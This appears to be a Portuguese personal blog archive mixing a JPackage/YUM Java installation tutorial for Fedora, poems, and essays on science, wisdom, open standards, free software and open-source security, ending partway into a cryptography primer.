Nos nossos exemplos, vamos usar o Fedora Linux com YUM. Pode-se optar pelo apt-get ao invés do YUM, ou de outra distribuição Linux ao invés do Fedora. No caso do Red Hat Enterprise Linux ou CentOS, o processo é idêntico.

permalink Tenha o YUM ou apt-get no seu sistema

No caso do Fedora 4, RHEL 4 ou CentOS 4, já temos o YUM instalado no sistema, e só teremos que configura-lo.

No caso de outro Linux, você pode testar se estas ferramentas estão instaladas simplesmente executando o comando yum ou apt-get.

Se você finalmente concluiu que não as tem, encontre-as aqui:

Nos nossos exemplos, vamos usar o Yum.

permalink Configure o YUM para usar o repositório JPackage

Basta instalar um arquivo de configuração no diretório /etc/yum.repos.d/ desta maneira:

bash# cd /etc/yum.repos.d/
bash# wget http://www.jpackage.org/jpackage.repo

Edite o arquivo jpacakge.repo que você acabou de baixar habilitando e desabilitando os canais de RPMs específicos para seu sistema. Por exemplo, no nosso Fedora Core, garantimos que os canais jpackage-generic e jpackage-fc contém a linha “enabled=1�?.

permalink Instale o primeiro pacote

O pacote jpackage-utils deve estar instalado para começar usar o repositório. Nas últimas versões das distribuições populares, ele já está instalado. Nesse caso é boa idéia atualiza-lo.

Para fazer isso:

bash# yum install jpackage-utils   # No caso de não estar instalado ainda.
bash# yum update jpackage-utils    # Para atualiza-lo.

permalink Instalando a Máquina Virtual Java (JVM)

Esta é uma das partes mais difíceis porque por questões de licensa o Projeto JPackage não tem permissão para prover o RPM pronto para ser instalado de softwares que tem licensa restrita. É o caso de todas as JVMs comerciais. O JPackage provê o pacote fonte que a partir dele pode-se construir fácil, porém manualmente, o RPM instalável. E vamos demonstrar isso aqui.

permalink JVM da IBM

Seguimos estes passos:

  1. http://www.jpackage.org
  2. Procuramos e baixamos o nosrc.rpm da JVM da IBM. A última vez que olhamos estava em http://mirrors.dotsr…./java-1.5.0-ibm-1.5.0.2.3-3jpp.nosrc.rpm
  3. Consultamos o pacote para descobrir de onde se baixa a JVM da IBM com o comando rpm:
    bash# rpm -qpi java*nosrc.rpm
    Name        : java-1.5.0-ibm               Relocations: (not relocatable)
    Version     : 1.5.0.2.3                         Vendor: JPackage Project
    Release     : 3jpp                          Build Date: Tue 15 Aug 2006
    Install Date: (not installed)               Build Host: tortoise.toronto.redhat.com
    Group       : Development/Interpreters      Source RPM: (none)
    Size        : 395165271                        License: IBM Binary Code License
    Signature   : (none)
    Packager    : Thomas Fitzsimmons
    URL         : http://ibm.com/developerworks/java/jdk/linux/download.html
    Summary     : IBM Java Runtime Environment
    Description :
    This package contains the IBM Java Runtime Environment.

    e descobrimos que devemos procurar na URL marcada.

  4. Fomos para http://ibm.com/developerworks/java/jdk/linux/download.html, nos registramos, escolhemos baixar a SDK 1.5 (que é a versão do RPM) em formato tar-gzip (tgz). Tivemos que baixar também a biblioteca javacomm do mesmo lugar. No fim copiamos tudo para o diretório de fontes para RPMs assim:
    bash# cd /diretorio/onde/baixei/SDK
    bash# cp ibm-java2-sdk-50-linux-i386.tgz /usr/src/redhat/SOURCES
    bash# cp ibm-java2-javacomm-50-linux-i386.tgz /usr/src/redhat/SOURCES

    No SUSE, copie para /usr/src/rpm/SOURCES.

  5. Construimos os pacotes finais com este simples comando:
    bash# cd /diretorio/onde/baixei/nosrc.rpm
    bash# rpmbuild –rebuild java*nosrc.rpm

    e vimos uma série de coisas acontecendo: é a construção do pacote.

  6. Quando terminou, encontramos todos os pacotes gerados em /usr/src/redhat/RPMS/i386. Instalamos todos assim:
    bash# cd /usr/src/redhat/RPMS/i386
    bash# rpm -Uvh java*ibm*rpm

    e a JVM da IBM está instalada.

O padrão JPackage definiu que a JVM deve ser a soma de uma série de sub-pacotes, todos com nome padronizado, e os que geramos neste exemplo são:

java-1.5.0-ibm-1.5.0.2.3-3jpp.i386.rpm A JRE mínima. É o pacote básico que você deve instalar.
java-1.5.0-ibm-alsa-1.5.0.2.3-3jpp.i386.rpm Suporte a arquitetura de audio ALSA do Linux.
java-1.5.0-ibm-plugin-1.5.0.2.3-3jpp.i386.rpm Java Plugin para os browsers Mozilla e Firefox. Não obrigatório.
java-1.5.0-ibm-devel-1.5.0.2.3-3jpp.i386.rpm O compilador Java e a SDK. Instale-o se você vai programar em Java.
java-1.5.0-ibm-src-1.5.0.2.3-3jpp.i386.rpm Fontes de programas em Java, para estudo e teste.
java-1.5.0-ibm-jdbc-1.5.0.2.3-3jpp.i386.rpm Driver JDBC genérico para o unixODBC genérico. Não é necessário se você vai usar o driver JDBC de seu banco de dados.
java-1.5.0-ibm-demo-1.5.0.2.3-3jpp.i386.rpm Alguns programas demo. Não é obrigatório.
java-1.5.0-ibm-javacomm-1.5.0.2.3-3jpp.i386.rpm Java Communications API para Linux.

No JPackage há modelos de empacotamento (src.rpm) das JVMs da IBM, Sun, BEA e Blackdown. Para instalar qualquer uma delas, você terá que construir o RPM como demonstramos aqui.

A diferença entre elas está no nome do RPM (“ibm�?, “sun�?, “blackdown�?), e você pode ter instalado em seu sistema JVMs de vários fornecedores simultaneamente. Os RPMs de todos os fornecedores, segundo o padrão JPackage, obedecem esta mesma convenção de nomes de sub-pacotes.

permalink Instale Outros Softwares Java que Não Tem Fonte

Será necessário instalar outros RPMs sem fonte para usar corretamente outros pacotes populares do JPackage. Tentanto instalar o tomcat, verificamos que ele necessita do JTA, que é uma API de transações.

Então repetimos os conceitos do passo anterior:

  1. Começamos em http://jpackage.org
  2. Procuramos e baixamos o nosrc.rpm da JTA. A última vez que olhamos estava em http://mirrors.dotsrc.org/jpackage/1.6/generic/non-free/SRPMS/jta-1.0.1-0.b.4jpp.nosrc.rpm
  3. Consultamos o pacote (ou as infos sobre o pacote em jpackage.org) para descobrir de onde se baixa a JTA, com comando rpm, e descobrimos que precisamos procurar em http://java.sun.com/products/jta/.
  4. Desta vez, tivemos que baixar dois ZIPs: o de classes e o de documentação. E copiamos ambos para o diretórios de fontes de RPM
    bash# cd /diretorio/onde/baixei/JTA
    bash# cp jta*-classes.zip jta*-doc.zip /usr/src/redhat/SOURCES
  5. Construimos os pacotes finais e instalamos os RPMs gerados:
    bash# cd /diretorio/onde/baixei/nosrc.rpm
    bash# rpmbuild –rebuild jta*nosrc.rpm
    bash# cd /usr/src/redhat/RPMS/noarch
    bash# rpm -Uvh jta*rpm

    E a JTA está instalada.

permalink Instalando outros Softwares Java pelo JPackage

Neste ponto, você já tem o repositório JPackage configurado no seu sistema, e a JVM de sua escolha instalada conforme ditam os padrões FHS de diretórios do Linux.

Agora é muito fácil instalar qualquer outra aplicação, biblioteca ou JAR disponível no JPackage, representado pelo nome do pacote na lista a esquerda em http://www.jpackage.org.

Para instalar ou atualizar um pacote, bastam os seguintes comandos respectivamente:

bash# yum install [nome do pacote]    # Para   instalar.
bash# yum update [nome do pacote]     # Para atualizar.

O YUM, usando os metadados do repositório, vai resolver todas as dependências, baixar tudo que for necessário, e instalar os pacotes.

permalink Exemplo: Instalando o Apache Tomcat

O Apache Tomcat é um servlet container, que se integra ao webserver e permite a criação e execução de aplicações web feitas em Java (servlets).

Para instalar o Tomcat, segundo nosso exemplo anterior, basta:

bash# yum install tomcat5

Após resolver todas as dependências, o YUM determinou que para instalar o Tomcat, seria necessário instalar também vários módulos do Jakarta, Axis, módulos de XML, etc. E tudo foi automaticamente baixado e instalado num mesmo passo.

permalink Instalando o Eclipse

O Eclipse foi a princípio uma poderosa ferramenta de desenvolvimento de aplicações, ou IDE.

Desde a versão 3, ele foi reestruturado para ser um “servidor de aplicações�? de desktop. Ou seja, se tornou o que chamamos de Rich Client Platform — ou RCP — que é uma base genérica que provê a infraestrutura padronizada que qualquer aplicação de desktop precisa. O IDE então passou a ser uma aplicação, um plugin, do RCP. O IDE Java está no JPackage com o nome de eclipse-jdt, e para instala-lo, basta:

bash# yum install eclipse-jdt

Como sempre, todos os outros módulos necessário para estes componentes serão automaticamente selecionados e instalados.

O ícone do Eclipse deve aparecer no menu inicial, pronto para ser usado.

Cantá

Cantá seja lá cumu fô
Si a dô fô mais grandi qui o peito
Cantá bem mais forte qui a dô

Cantá pru mor da aligria
Tomém pru mor da triteza,
Cantano é qui a natureza
Insina os ome a cantá

Cantá sintino sodade
Qui dexa as marca di verga
Di arguém qui os óio num vê
I o coração inda inxerga

Cantá coieno as coieta
Ou qui nem bigorna no maio
Qui canto bão de iscuitá
É o som na minhã di trabaio

Cantá cumu quem dinuncia
A pió injustiça da vida:
A fomi i as panela vazia
Nus lá qui num tem mais cumida

Cantá nossa vida i a roça
Nas quar germina as semente,
As qui dão fruto na terra
I as qui dão fruto na gente

Cantá as caboca cum jeito,
Cum viola i catiguria
Si elas cantá nu seu peito
Num tem cantá qui alivia

Cantá pru mor dispertá
U amor qui bati i consola
Pontiano dentro da gente
Um coração di viola

Cantá cum muitos amigos
Qui a vida canta mio
É im bando qui os passarim
Cantano disperta o só

Cantá, cantá sempri mais:
Di tardi, di noiti i di dia
Cantá, cantá qui a paiz
Carece de mais cantoria

Cantá seja lá cumu fô
Si a dô fô mais grandi qui o peito,
Cantá bem mais forti qui a dô

Autoria de Gildes Bezerra.

Escrito como uma resposta a um cartão de fim-de-ano de Rolando Boldrin. Mais detalhes pelo próprio autor.

Poema de Mulher

Do livro Tapa de Humor Não Dói do grupo carioca O Grelo Falante.

Que mulher nunca teve:
Um sutiã meio furado.
Um primo meio tarado.
Ou um amigo meio viado?

Que mulher nunca tomou:
Um fora de querer sumir.
Um porre de cair.
Ou um lexotan para dormir?

Que mulher nunca sonhou:
Com a sogra morta, estendida.
Em ser muito feliz na vida.
Ou com uma lipo na barriga?

Que mulher nunca pensou:
Em dar fim numa panela.
Jogar os filhos pela janela.
Ou que a culpa era toda dela?

Que mulher nunca penou:
Para ter a perna depilada.
Para aturar uma empregada.
Ou para trabalhar menstruada?

Que mulher nunca comeu:
Uma caixa de Bis, por ansiedade.
Uma alface, no almoço, por vaidade.
Ou, um canalha por saudade?

Que mulher nunca apertou:
O pé no sapato para caber.
A barriga para emagrecer.
Ou um ursinho para não enlouquecer?

Que mulher nunca jurou:
Que não estava ao telefone.
Que não pensa em silicone.
Ou que “dele” não lembra nem o nome?

Acabou Tudo

Fábio Gandour toca o time de Novas Tecnologias na IBM Brasil e publicou um artigo interessantíssimo na Intranet, que reproduzo aqui, para depois comentar. Não se engane com a linguagem que ele usou. O público alvo do artigo é uma população enorme de gente de todos os tipos e idades, e por isso forçou uma linguagem simples.

Acabou tudo. Ou então… estamos começando de novo

Por Fábio Gandour

Há 260 semanas, em todas elas, estamos aqui falando de ciência, tecnologia, pesquisa, idéias, inovação, vanguarda e coisas de igual sabor. Uma delícia! No entanto, sabendo vocês ou não, a acomodação não ajuda a evolução cultural do homem. Por mais delicioso que seja, contentar-se com o mesmo banquete, ainda que com pratos variados, não promove o avanço do saber universal. Nem em extensão e nem em profundidade. E é esta desacomodação, este desarranjo, este distúrbio, subversão até, que a gente quer criar hoje. E criar bem aí, na cabeça de vocês.

Pra começar, imagine uma situação em que tudo o que se disse e se fez a respeito de ciência, de repente estivesse inválido. Mas… não inválido porque estivesse errado e sim porque simplesmente perdeu o valor. Assim… num instante, percebemos que acabou tudo! Sim, tudo que foi feito na ciência continua aí, mas perdeu o valor, a utilidade. O conhecimento, de repente não é mais capaz de resolver os problemas. Meio maluco, né não?!? Pois é, apesar de meio [ou muito, concordo :-)] maluco, talvez a gente esteja mais perto desta conclusão do que você [e eu também, confesso :-)] podemos imaginar. E a razão desta súbita perda de utilidade de tudo que se sabe não vai ser por conta da perda de valor intrínseco do conhecimento. O que pode acontecer é que a complexidade do mundo tende a aumentar tanto que o pensamento científico atual não tenha mais instrumentos teóricos e práticos para resolver os problemas. Viu como isto pode estar mais perto do que vocês imaginam!?!

Bem… peraí, não vai sair correndo desesperado que você pode assustar os vizinhos :-). O mundo não vai acabar por causa disso!!! Até porque tem gente que já percebeu a existência desta possibilidade e vem tentando evitar que o pior aconteça. O principal destes caras chama-se Stephen Wolfram [biografia, publicações, cores prediletas e número do sapato, tá tudo aqui – querendo mais, o site do cara é bem este].

O cara é fera. Publicou o primeiro trabalho científico aos 15 anos e concluiu o PhD aos 20 [sentiu?]. Durante 10 anos, dedicou-se a escrever um livro. Só um. O livro se chama “A New Kind of Science”. Não tem em Português. E também acho que não vai ter porque… o livro é imenso [tem mais de 1200 páginas] e duro de ser lido [depois de 2 meses, estou na página 115, onde começa o capítulo “Sistemas Baseados em Números”]. E como sabemos que é pouco provável que alguém vá ler o livro do Wolfram, contamos o fim do filme: no fim, o livro indica que estamos muito perto do problema falado aí em cima.

Dito de maneira assim bem simplezinha, o cara afirma que a ciência universal, baseada na álgebra árabe e na lógica que nasceu na filosofia e foi importada pela matemática, não vai dar conta do recado. E se isto não vai funcionar, todo o resto, da física à literatura, vai servir pra muito pouco. Grave, não?!? Tem mais: o Wolfram só aponta a existência do problema, mas não dá uma solução completa. Portanto, acabou tudo. Ou então, é hora de começar de novo. Começar lá no fundo, lá atrás. Criar uma nova abstração, uma nova noção de quantidade e de medida, um outro sentido para a percepção das coisas.

É, eu sei, tá meio confuso, mas… eu falei que ia gerar desacomodação, desarranjo, distúrbio, E claro que este assunto não termina aqui. O artigo sim, termina. Mas o assunto vai longe, muito longe… É bem provável que você nem veja o desdobramento disso tudo, mas seu neto [ou filho, vá lá :-)] vai ver. E poderá até dizer que o vovô tinha razão. Paro aqui. Qualquer hora eu volto nisso.

P.S.: Conheci o Stephen Wolfram. Foi demais!

Achei interessante o problema que Wolfram está estudando.

Sou um espiritualista e acredito que a mente humana tem limitações de alcance. Não é tudo que se pode explicar com matemática, ou as leis da física, ou da ciência. Seria muito prático se fosse assim, mas talvez o mundo seria um pouco sem sabor. E olha que eu me considero um cientista.

A ciência está chegando nos limites do macro e do micro, e os cientistas quebram o escopo das leis do mundo em duas partes: as do mundo atômico e as do grande universo. A busca por uma única lei que explica tudo, elegante e universal, como desejava Einstein, está mais longe de terminar do que nunca.

Apesar disso, acho que a ciência pode e vai um dia abranger tudo, mas até lá o conceito de ciência terá que mudar, e terá que ser menos mental e mais intuitiva (algo que está além da mente). É vasto o número de relatos de ioguis que vão para um “além-mundo” em suas meditações, e quando voltam sempre contam as mesmas coisas sobre suas experiências:

  1. Tem-se a nítida sensação de que o mundo físico que julgamos ser real, é completamente irreal.
  2. É um “lugar” de incomensurável paz e de infinita inteligência, onde tem-se uma conciência universal maior e infinita (sempre usam as palavras paz e inteligência).
  3. A mente é incapaz de entender esse “lugar”.

E é engraçado que eles tem essas percepções justamente quando dizem estar com a “mente vazia ou anulada”.

A resposta para tudo está dentro de nós.

Não Subestime as Pessoas

Alguns anos atrás, quando era mais idealista e ingênuo, recebia projetos para executar que tinham sido arquitetados por outras pessoas.

Eu era também muito sabichão e achava que havia a forma correta para fazer as coisas. Com toda essa pompa, certamente achava vários defeitos nesses desenhos. Na verdade achava eles uma droga. Era inaceitável que alguém pudesse fabricar um trabalho de tão baixa qualidade, e ficava nervosíssimo porque era eu quem tinha que executar.

Claro que achava que se estivesse no lugar do projetista, teria desenhado muito melhor, mais bonito, e mais barato.

Bem, cuidado com o que você deseja porque um dia pode te-lo.

Aconteceu que mudei de lado, e virei “desenhista”. E dos piores, porque fui com aquele sentimento de “agora eles vão ver coméqueé”. Mas, também descobri coisas incríveis.

O lado de lá da moeda — também conhecido como área de vendas — era cheio de incertezas. Lidar com clientes — coisa que não fazia do lado de cá — é um processo sujeito a diversas forças, tanto técnicas (as mais fáceis de mitigar), políticas, estratégicas, e de escassez de recursos que nunca me ocorriam, chamados tempo e dinheiro. Só o fato de ter-se produzido um desenho de projeto, por mais tosco que seja, já era uma vitória, tamanha as dificuldades no meio do caminho.

Quantas vezes subestimei as pessoas e suas inteligências quando via algo que rapidamente julgava como erro grosseiro, mas logo depois era informado de situações que forçavam ser aquela a única saida. Não estou falando de conseqüências futuras, mas do que as pessoas são capazes de fazer com os recursos que elas tem hoje, somados a suas experiências anteriores. De qualquer forma, futurologia é uma ciência que não existe.

É muito fácil julgar e criticar ações alheias. É bem mais dificil colocar-se na posição e situação da outra pessoa. Hoje prefiro pensar que alguma idéia simples e óbvia que acabei de ter para resolver uma guerra alheia, um projeto difícil, ou um impasse em que não estou metido, provavelmente já foi concebida por quem vive aquilo todo dia, e só não foi adotada porque havia um conjunto de forças desfavoráveis para tal.

Não que as pessoas tenham que parar de ter idéias sobre os problemas alheios. Só precisam fazê-lo quando não estiverem arrotando sabedoria, e com um certo senso de humildade.

My IT Presentations

Here are some presentations that I created and use to deliver in IBM events.
Most charts include speaker notes. They are all in Use OpenOffice.org Open Document Format (ODF).
I rarely use the full presentations, I select the best charts according to the audience.

I am also founder of the Elektra Initiative, and produced an Elektra Presentation that members of the community use to deliver in Linux events.

See also the articles I have written.

Artigos Sobre Tecnologia

Escrevo artigos que são publicados em mídias diversas como sites, revistas, etc, muitos deles como artigos oficiais da IBM. Esta página leva a todos eles.

Linux, Software Livre, Padrões Abertos, etc

 

Segurança em Tecnologia da Informação

Assuntos Diversos

Há também uma boa quantidade de insights nas apresentações que faço em eventos.

ODF e OpenXML: ecossistema, sorte e poder

A sorte está lançada entre ODF e OpenXML.

O que vale mais?

Um padrão universal e em franco crescimento de aceitação, mas ainda pouco usado, resultado do melhor capital intelectual aberto que a Internet é capaz de fabricar, ou um formato fechado de documentos, com política de royalties, e amarrado ao produto mais usado desse segmento?

Por outro lado, se meus CDs tocam em qualquer CD player, porque MEUS documentos vão funcionar somente em UMA suite de escritório? CD (e sua independêndia do CD player) está para música, assim como ODF (e sua independência de suite de escritório) está para documentos.

Quando tivermos o resultado dessa interessantíssima briga, os mais emotivos dirão que foi sorte de um e azar do outro. Mas não tem nada a ver com isso, e sim com poder de construir ecossistemas de cada um desses polos.

Ecossistema é tudo.

Mas paixão e vontade de realizar vem em segundo lugar. E essas forças movem montanhas. E ecossistemas.

High Availability Linux Clusters

Here is a light document, in the form of a presentation, to help IT architects or sales people to understand High Availability Clusters with Linux:

  • How it works
  • Components needed to build HA clusters
  • Replication
  • SCSI and Fiber Channel considerations
  • Reference architectures
  • Clustering of popular products
  • Sizing guides
  • etc

Start here and follow the links to browse it, download PDF or the original Use OpenOffice.org (ODF) file.

There are also excelent presentations and tutorials in the Linux-HA Project website.

O Violão Solar de Ulisses Rocha

Esses dias peguei estrada e coloquei aquele CD chamado Brasil Musical onde ouvi pela primeira vez o Ulisses Rocha. Desde aquele primeiro choque, anos atrás, quantas coisas maravilhosas conheci desse violonista e compositor !

Ulisses RochaSim, hoje sei que Ulisses Rocha superou os monumentais do violão brasileiro: Sebastião Tapajos, Raphael Rabello, Paulinho Nogueira, e até Paulo Bellinati. Ele é completo e faz tudo de forma singular. Quando compõe, ampla e magnificamente, com uma inspiração solar, revela um canal aberto com planos transcendentais, espirituais. Mas é quando ele executa suas composições que suas harmonias alcançam nosso coração. Fico imaginando qual outro violonista poderia tocar Ulisses Rocha….

Não, não há sambas, maxixes, choros e bossas no repertório de Ulisses. Devemos recorrer aos outros monumentais para essas pulsações: Paulinho Nogueira, Rabelo, Canhoto, etc. Não que isso lhe falte, pois sua linguagem e sintonia são universais.

Sua técnica é intrigante. Por mais que escuto não consigo entender o que ele faz diferente. Só sei que é. Num perfeito balanço entre graves e agudos, que preenche cuidadosamente todo o ar. Quando digo técnica não me refiro a velocidade da pegada, tocar com os dentes, ou com o violão nas costas, mas a quantidade de beleza produzida quando 10 dedos encontram 6 cordas.

Mas onde está Ulisses Rocha no conhecimento das pessoas? Poucos ouviram falar, poucos o escutam. Isso me lembra a história de Bach, Mozart, etc, que eram praticamente desconhecidos à sua época, mas que suas obras se perpetuaram na universalidade décadas, séculos depois. Como eles, Ulisses nos traz o futuro hoje.

Não saia daqui antes de ouvir algumas de suas músicas (clique com o botão direito sobre o link para baixar o MP3 de alta qualidade antes de ouvir):

E conheça também outros violonistas brasileiros:

Insights globais sobre guerra Hezbollah-Israel

Nestes dias de guerra, qualquer reunião de família ou amigos onde alguém levanta este assunto, pronto: vira discussão para o resto da noite.

Opinião daqui, idéia pacifista dalí, justificativa da ofensiva de acolá, mas no fim todos chegam a alguns consensos: não se sabe o que fazer, não se tem certeza se a estratégia dos dois lados foi a melhor (em vista dos objetivos), e não se sabe exatamente o que move o Hezbollah.

São teias muito complexas de geopolítica, e O Estado de São Paulo (não tenho tempo para ler mais do que um jornal) tem publicado artigos globais de ambos os lados que acho ótimos, e vou posta-los aqui, na íntegra.

Convido todos a mostrar mais artigos e opiniões de todos os lados, e comentar.

Software Livre sem excesso de filosofia

Saiu hoje no Estadão uma matéria quase sarcástica sobre Richard Stallman, criador do conceito de Software Livre, lá nos idos dos anos 70.

Sem suas idéias visionárias, sua postura radical, e sua seriedade jurídica, coisas como Linux não existiriam, e Padrões Abertos seria um conceito ligeiramente diferente do que é hoje. Richard Stallman é um cara que mudou o mundo, e suas idéias sobre Software Livre passaram a ter um dimensão maior a ponto de abraçar toda a criação artística, ciência e cultura humana via o Creative Commons (veja este video, e depois este para entender tudo), descendente direto do Software Livre. Tudo em prol de uma cultura livre.

Mas os anos passam, o mundo gira, e parece que ele se afogou num mar de idealismo: para ele, se o usuário não consegue ler e alterar o código fonte do software, ele é prisioneiro desse software. Talvez ele esqueceu que poucas pessoas sabem ler código fonte de um programa de computador, e dessas, a maioria — eu incluso — não tem o menor interesse em lê-lo, muito menos alterá-lo. Estamos mesmo é interessados na liberdade que um software nos dá para vivermos melhor a nossa vida.

Um software que não provê exatamente a funcionalidade que o usuário quer não precisa necessariamente ser mudado por ele. Ou será trocado, ou a pessoa irá de adaptar, porque afinal computador é burro e só sabe fazer aquilo, e ser humano é inteligente.

Software Livre virou moda, mas isso não significa que tudo quanto é SL é bom e resolve os problemas das pessoas e das empresas. Estas por sinal tem se sofisticado cada vez mais a ponto de precisarem de soluções de software mais complexas e mais inovadoras. E essas coisas são geralmente mais encontradas no software de código fonte fechado.

Então quando Software Livre e quando software comercial ?

A resposta é buscar um bom balanço entre ambos com esta fórmula:

  1. Divida a TI de uma empresa em camadas que vão da mais infraestrutural (storage, servidores, SOs – como Linux) até o mais alinhado aos processos de negócio (aplicações de negócio e internas, ERPs, CRMs etc).
  2. Quanto mais infraestrutural, mais afinidade terá com SL, e quanto mais alinhado ao negócio, mais afinidade terá com o de código fonte fechado.

A pirâmide de TI

A explicação do porquê dessa divisão é longa e está na minha apresentação.

Linux, sendo só um SO, tem enorme afinidade com a infraestrutura, e por isso é uma opção excelente para essa camada.

Entre esses dois polos fica o tal do Middleware, que começa a ter boas opções no mundo livre, concorrendo de frente com produtos da IBM. A regra geral é ir sempre de Middleware comercial porque tem suporte e nível de serviço, que provê paz de espírito. A excessão fica para aplicações departamentais não-críticas nos casos onde o cliente sabe muito bem o que está fazendo com um middleware SL.

O que realmente importa para uma empresa que se preocupa com seu TI é usar produtos, software, hardware que seguem Padrões Abertos – não importando se o código é aberto ou não -, porque só isso é capaz de dar acesso a um mercado competitivo, que provê flexibilidade e poder de escolha – que implica em preços mais baixos.

Sabedoria

Sabedoria é uma das melhores qualidades que uma pessoa pode ter.

A gente sabe que encontrou uma pessoa sábia quando se sente iluminado numa rápida conversa com ela.

Meu pai é assim. Qualquer assuntinho, e lá vai ele esbanjando sabedoria. E digo isso sem invocar a porção filho-coruja em mim. Não é a toa que um monte de gente se pendura nele pedindo conselho, chamando de mestre, etc.

Sabedoria não é inteligência. Sei lá… inteligente é o cara que resolve uma equação diferencial, ganha no xadrez. Sábio é quem solta duas frases e muda a sua semana, seu mês, as suas opiniões sobre a vida.

É uma mistura fina de intuição aguçada, senso prático, liberdade de pensamento, pitadas de boa cultura, irreverência, visão holística, e principalmente um sereno bloqueio a idéias pré-concebidas. O sábio parece que medita sobre aquilo que fala, sem deixar sua personalidade ou experiências pessoais interferirem no mergulho — mas ainda sendo sensível —, e por isso chega a conclusões que cheiram a superóbvias, mas tem um sabor completamente refrescante.

Eu conheço alguns sábios, cada um com seu temperamento: meu pai, como já disse, o Alexandre Santos, Cezar Taurion, Nick Donofrio, e tem também a Melina Castro que está a passos largos rumo a uma sapiência zen. Alguns trabalham comigo e é um prazer ouvir suas opiniões.

Quando crescer, quero ser sábio. Menos para impressionar os outros, e mais para ser feliz, fruto de experiências de vida de sábias decisões pessoais.

The Best Linux Distribution

Check this presentation to business and technical people about Linux Distributions. There is an article outlining the same topics that can work as a transcript for this presentation.

The topics included are:

  • What makes a Linux distributions to be what it is
  • The ingredients for success and for market failure
  • Core technologies inside a distribution
  • Important points to consider when choosing “the best distribution”
  • What “support” is, its importance, and what customers should really look for when considering comercial support for a Linux distribution
  • High level comparation between Red Hat Enterprise Linux and SUSE Linux Enterprise Server in flavor, standards adherence and stability
  • Highlights on other non-comercial distributions as Fedora, OpenSUSE, Debian, Slackware etc, and the weak-ecosystem ones as Mandriva, Ubuntu, etc
  • Colorful details about how Linux distributions work with and package Open Source software
  • The new generation of “semi”-comercial distributions

Availability:

Check also an interview I gave in a Linux World event (download) right after presenting this:

Segurança em Software de Código Aberto

  • — Quem acha que software de código fechado é mais seguro? – perguntou o palestrante.

Uns poucos gatos pingados levantaram a mão.

  • — E quem acha que software de código aberto é mais seguro?

Outros poucos ouvintes acreditavam que essa última era a afirmação verdadeira.

Mas a esmagadora maioria ficou passiva, sem saber o que responder.

Senhoras e senhores, estamos diante de um dos maiores dilemas da TI pós-Internet. É assunto para horas de discussão na mesa do bar, que tem grande chance de dar em nada, se for tratado de forma religiosa. Mas vamos tentar ser frios, relembrar algumas histórias e não nos perder em crenças infundadas.

 

Tudo gira em torno de segurança por ser (código) público versus segurança por ser fechado. A comunidade de programadores de código aberto tem a cultura do mérito e respeito, então é natural que seus membros tomem mais cuidado ao programar. Além disso, é comum o trabalho de um ser revisado e auditado pelo outro. Outra vantagem é a velocidade com que correções são escritas. Foi o caso de um problema descoberto na implementação TCP/IP de qualquer sistemas operacional, em 1996. A correção para Linux foi publicada em 20 minutos, enquanto que para outros sistemas demorou 2 dias úteis. Há dezenas de casos semelhantes.

Mas aqui vale um ponto de atenção: o sistema operacional Linux é um caso muito especial de software de código aberto, simplesmente porque ele é muito usado e tem um ecossistema enorme de programadores e empresas interessadas em sua estabilidade e progresso. Em outras palavras, ele tem uma infinidade de observadores, e isso não é verdade para qualquer software livre. Ou seja, só quando um software aberto usufrui de muitos usuários e desenvolvedores é que terá pessoas cavando e corrigindo problemas rapidamente em seus fontes.

O modelo de código fonte aberto de desenvolvimento de software não é uma garantia de segurança. Contudo, softwares livres populares como o Linux, Apache, Samba e muitos outros tem tido seus códigos examinados por vários especialistas de segurança.

Por outro lado, software de código fechado tem a garantia de que ninguém pode vasculhar falhas em suas entranhas. Ironicamente também garante que se o fabricante decidir implanatar um backdoor, ninguém poderá encontra-lo. E foi exatamente o que aconteceu quando a Borland liberou o código do Interbase: eles esqueceram de remover um trecho do código que abria um backdoor de administração. Foi descoberto e removido assim que outros começaram a olhar seu código fonte, e motivo de vergonha para a Borland.

Outro aspecto é que certas coisas são muito difíceis de desenvolver corretamente quando somente poucas pessoas tem acesso ao código fonte. É o caso de boa criptografia e de protocolos de comunicação seguros. Só uma densa auditoria multicultural e independente pode analisar a fundo cada detalhe do código.

No âmbito de ferramentas de segurança, o mundo livre dispõe de uma lista sem fim de coisas como OpenSSL, OpenSSH, PAM, PKI, OpenLDAP, Tripwire, Kerberos, SELinux, etc, todos possuidores de um forte ecossistema de usuários e desenvolvedores.

 

O pensamento saudável para essa questão é que software aberto e fechado tem vantagens e desvantagens que muitas vezes se completam. Nenhum modelo é garantia de segurança, mas ter o código aberto dá pelo menos a chance de um certo software poder ser auditado. Além de que uma falha detectada pode ser corrigida por qualquer pessoa a qualquer hora, e não ser tratada como “característica do software” que o fabricante não acha que deve corrigir.

A fórmula do sucesso, para balancear custos e benefícios, tende a usar software livre nos elementos mais infraestruturais do data center, enquanto que software fechado vai melhor nas camadas relacionadas a lógica de negócio, sempre abusando do uso de padrões abertos para garantir a interoperabilidade. Um exemplo prático desse bom balanceamento é rodar seu ERP corporativo (de código fonte fechado) sobre um sistema operacional de código fonte aberto, mas que tenha suporte comercial no mercado, como Linux.

Tudo que você precisa saber sobre Criptografia

…e tinha medo de perguntar

A palavra “criptografia” vem do grego e significa “escrita escondida”. Bem, ainda não temos a tecnologia dos filmes de fantasia onde um pergaminho aparentemente em branco revela um mapa do tesouro quando exposto ao luar, mas a criptografia simula isso transformando a informação em algo ilegível ou aparentemente sem valor. Muito fácil: se eu rabiscar bem um cheque de R$100.000,00 ele também perde seu valor por ficar ilegível.

O difícil é o inverso: tornar legível o ilegível, e é aí que está a magia da criptografia.

O primeiro lugar onde alguém antenado pensaria em usar criptografia é na guerra, para comunicar estratégia de movimentação a tropas distantes, espionagem, etc. Se o inimigo intercepta essa comunicação, principalmente sem o primeiro saber, ganha a guerra. Por isso quem primeiro estudou técnicas de criptografia foram os militares, governos e instituições de pesquisas secretas. Focavam em duas coisas: como criptografar melhor e como descriptografar as mensagens do inimigo (criptoanálise).

Na nossa Era da Informação e Internet, criptografia tem um papel central porque viabiliza comunicação segura. Mais até: não teríamos uma Era da Informação se criptografia não fosse de uso dominado por qualquer cidadão, simplesmente porque o mundo comercial não entraria nessa onda de trocar informação (e fazer negócios) por redes abertas se não houvesse um meio de garantir confidencialidade.

Trata-se de um tema muito vasto, fascinante, com muitos desdobramentos tecnológicos. Então vamos somente nos focar em entender aqui o vocabulário desse mundo.

Criptografia de Chave-Simétrica

Criptografia digital já era usada secretamente desde 1949 por militares e governos. Em meados da década de 1970 a IBM inventou o padrão DES (Data Encription Standard) de criptografia, que passou a ser largamente utilizado até os dias de hoje. A partir daí tudo mudou.

Como exemplo de seu funcionamento, se a Paula quer enviar uma mensagem secreta para Tatiana, ela deve fazer isso:

